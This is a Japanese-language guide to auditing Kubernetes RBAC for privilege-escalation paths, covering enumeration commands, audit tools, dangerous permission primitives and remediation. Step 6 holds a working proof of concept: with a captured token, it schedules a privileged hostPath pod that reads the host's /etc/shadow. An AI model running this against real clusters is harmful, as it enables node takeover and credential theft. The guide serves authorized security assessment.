auditing-kubernetes-rbac-privilege-escalation

Kubernetes RBAC の権限昇格を監査する

法的通知： このスキルは、許可を得たセキュリティテストおよび教育目的にのみ使用してください。RBAC 権限の列挙や行使は、稼働中のクラスターのアクセス制御に影響します。ご自身が所有するクラスター、または評価について書面で明示的な許可を得たクラスターのみをテストしてください。

概要

Kubernetes のロールベースアクセス制御（RBAC、MITRE ATT&CK T1078 Valid Accounts）は、Role／ClusterRole のルールを RoleBinding／ClusterRoleBinding でバインドすることで、各ユーザーとサービスアカウントに許可される操作を管理します。ワークロードはデフォルトでマウントされたサービスアカウントトークンを使って実行されるため、攻撃者がポッドを侵害すると、そのアカウントの RBAC 権限を引き継ぎます。過剰な権限を付与するバインディングがあると、ポッドを1つ侵害しただけでクラスターを乗っ取られる可能性があります。特定の動詞とリソースの組み合わせは「RBAC 上、cluster-admin と同等」です。

Kubernetes の「RBAC Good Practices」ガイダンスおよび Unit 42 の調査によると、危険なプリミティブは次のとおりです。

• ロールに対する escalate — 自分が持っていない権限であっても、任意の権限を自分に付与できます。
• clusterrole に対する bind — cluster-admin へのバインディングを作成できます。
• ユーザー／グループ／サービスアカウントに対する impersonate — system:masters を含む任意の主体として操作できます。
• pods に対する create／update／patch — 特権ポッドをスケジュールしたり、ノードをマウントしたりして、ホストへのエスケープを実行できます（T1611）。
• pods/exec、pods/attach、pods/ephemeralcontainers に対する create — 既存の任意のポッド内でコードを実行できます。
• secrets に対する get／list／watch — list は、他のサービスアカウントのトークンを含むシークレットの全内容を返します。
• serviceaccounts/token に対する create — より高い権限を持つアカウントのトークンを発行できます。
• validatingwebhookconfigurations／mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approval に対する update／patch — Admission／CSR の悪用によって cluster-admin の権限を得られます。
• ワイルドカード（verbs: ["*"]、resources: ["*"]）— 暗黙的にスーパーユーザー権限を付与します。

このスキルでは、すべての主体について有効な権限を体系的に列挙し、どの主体がこれらの権限昇格プリミティブを持っているかを特定して、修正に必要な証拠を提示します。出典：Kubernetes RBAC Good Practices、Unit 42 Kubernetes RBAC research。

使用する場面

• 許可を得た Kubernetes セキュリティ評価やクラスター侵入テストの実施時
• ポッド侵害後、そのサービスアカウントトークンでアクセス可能な範囲を確認するとき
• 本番環境への移行前に RBAC のずれを確認するとき
• プラットフォームの移行や Helm のロールアウト後に最小権限を検証するとき

前提条件

• 対象クラスターに接続するよう設定された kubectl（ご自身の認証情報、または取得したサービスアカウントトークンを使用）
• RBAC オブジェクトへの読み取りアクセス（ほとんどの監査は cluster-reader または admin コンテキストで実施）
• 監査ツール：

  # rbac-police - find escalation paths (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can - which subjects can perform an action (Aqua)
  kubectl krew install who-can
  
  # rakkess - access matrix of resources x verbs for the current/another subject
  kubectl krew install access-matrix
  
  # rbac-lookup - which roles a subject has (FairwindsOps)
  kubectl krew install rbac-lookup
  

目的

• すべての Role、ClusterRole、RoleBinding、ClusterRoleBinding オブジェクトを棚卸しする
• kubectl auth can-i --as を使用して、主体ごとの有効な権限を列挙する
• RBAC 上、admin と同等の権限昇格プリミティブを持つ主体を特定する
• トークンをマウントするポッドと、過剰な権限を持つサービスアカウントとの関連を追跡する
• （ラボ環境で）権限昇格の経路を最初から最後まで1つ実証する
• 最小権限に基づく修正案を含む、優先順位付きの検出結果レポートを出力する

MITRE ATT&CK の対応付け

手法 ID	名前	戦術
T1078	有効なアカウント	防御回避 / 永続化 / 権限昇格
T1098	アカウント操作	永続化
T1528	アプリケーションアクセストークンの窃取	認証情報アクセス
T1613	コンテナーとリソースの探索	探索
T1611	ホストへのエスケープ	権限昇格

ワークフロー

ステップ 1：RBAC オブジェクトの棚卸し

# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

ステップ 2：主体ごとの有効な権限を列挙する

kubectl auth can-i は、稼働中の認可機構（RBAC + Webhook）を評価するため、信頼できる確認方法です。--as を使用して主体になりすまします（監査に使う ID に impersonate 権限が必要です）。

# Full access matrix for a service account
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder

ステップ 3：権限昇格プリミティブを探す

# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*'                      # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # bind-style escalation

# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

ステップ 4：rbac-police でエスカレーション経路を自動分析する

rbac-police は、クラスターのスナップショットに対して Rego ポリシーを評価し、cluster-admin に昇格できるプリンシパルと、その正確な経路を明らかにします。

# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/

# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

ステップ 5：Pod から過剰な権限を持つサービスアカウントをたどる

到達可能なワークロードがそのトークンをマウントしていなければ、検出結果に意味はありません。

# Map every pod to its service account
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount

ステップ 6：エスカレーション経路を実証する（ラボのみ）

例：create pods 権限とノードへのアクセス権を持つサービスアカウントは、ホストファイルシステムをマウントする特権 Pod をスケジュールできます。

# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # host /etc/shadow proves escalation

ステップ 7：報告して修正する

# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin bound to: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

修正方法：ワイルドカードを明示的な動詞／リソースに置き換えます。必要な場合を除き、escalate／bind／impersonate を削除します。API を呼び出さないワークロードでは automountServiceAccountToken: false を設定します。可能であれば、ClusterRole よりもスコープを限定した Role（名前空間単位）を使用します。aggregationRule は慎重に使用します。

ツールとリソース

ツール	目的	ソース
kubectl auth can-i	実稼働環境での権限を確実に確認します（--list、--as）	https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police	Rego に基づくエスカレーション経路の分析	https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can	逆引き：X を実行できるユーザーを調べます	https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)	サブジェクトごとの動詞 x リソースのマトリックス	https://github.com/corneliusweig/rakkess
rbac-lookup	サブジェクトが持つロール	https://github.com/FairwindsOps/rbac-lookup
Kubernetes RBAC Good Practices	権限昇格の主要な手段に関する信頼できる一覧	https://kubernetes.io/docs/concepts/security/rbac-good-practices/

危険な RBAC プリミティブのリファレンス

動詞／リソース	cluster-admin と同等の権限である理由
escalate on roles	自分に任意の権限を付与できます
bind on clusterroles	自分を cluster-admin にバインドできます
impersonate users/groups	system:masters として振る舞えます
create pods (+ node access)	特権／hostPath Pod により、ホストを乗っ取れます
create pods/exec,pods/attach	既存の Pod 内でコードを実行できます
get/list secrets	すべてのトークンと認証情報を読み取れます
create serviceaccounts/token	特権トークンを発行できます
*/* (wildcards)	暗黙的にスーパー権限を付与します

検証基準

• すべての Role／ClusterRole／Binding オブジェクトを一覧化し、ダンプした
• cluster-admin のサブジェクト一覧を列挙した
• auth can-i --list を使用して、サービスアカウントごとの実効権限を列挙した
• 危険なプリミティブ（escalate／bind／impersonate／secrets／pods）を持つ主体をすべて特定した
• rbac-police によるエスカレーション経路を確認した
• トークンをマウントする Pod と、リスクのあるサービスアカウントとの対応付けを行った
• 少なくとも 1 つのエスカレーション経路をラボで実証した
• 最小権限に基づく修正を含む検出結果レポートを作成した
• すべてのテストを許可された範囲内で実施した